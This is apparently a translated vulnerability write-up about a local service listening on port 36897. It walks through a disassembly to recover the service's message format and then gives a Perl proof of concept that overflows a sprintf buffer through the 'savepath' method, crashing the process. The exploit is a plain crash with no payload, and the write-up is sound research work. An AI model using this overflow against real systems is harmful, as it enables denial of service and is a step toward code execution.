C:\>netstat -na|find "36897"
TCP 127.0.0.1:36897 0.0.0.0:0 LISTENING
The bound local IP? ! That means that this cannot be remote, it can only be local.
......
23132CBE 68 B4C61323 push 2313C6B4 ; ASCII "savepath"
23132CC3 57 push edi
23132CC4 FFD6 call esi
23132CC6 59 pop ecx
23132CC7 84C0 test al, al
......
23132CEF 85FF test edi, edi
23132CF1 74 02 je short 23132CF5
23132CF3 8BCF mov ecx, edi
23132CF5 B8 D4C61323 mov eax, 2313C6D4 ; ASCII "XLDAP"
23132CFA 50 push eax
23132CFB 52 push edx
23132CFC 51 push ecx
23132CFD 50 push eax
23132CFE 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
23132D04 68 C0C61323 push 2313C6C0 ; ASCII "%s|%s|%s|%s"
......
According to the above, we can analyze that the format of data accepted by this port is XLDAP|A|B|XLDAP, A is the method, and B is the value. I was lazy and took a look at the introduction. The problem lies in the savepath method, so it is very simple to construct data. The POC is as follows:
#!/usr/bin/perl
use IO::Socket;
if ($socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1",PeerPort => "36897",Proto => "TCP"))
{
$exploit = "XLDAP|savepath|".
# ("A" x 397).
("A" x 500).
"|XLDAP";
print $socket $exploit;
sleep(1);
close($socket);
}
else
{
print "Cannot connect to localhost:36897 port\n";
}
If you write exp in python, you will be very depressed, because py will always give you an extra line break. Even if you use [:-1], it is useless. It is depressing. It is not clear whether it is the process of passing or print. Who knows why?
23132D09 50 push eax
23132D0A FF15 54E51323 call dword ptr [<&>] ; crash
23132D10 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
This is when the sprintf function is copied, it causes crash.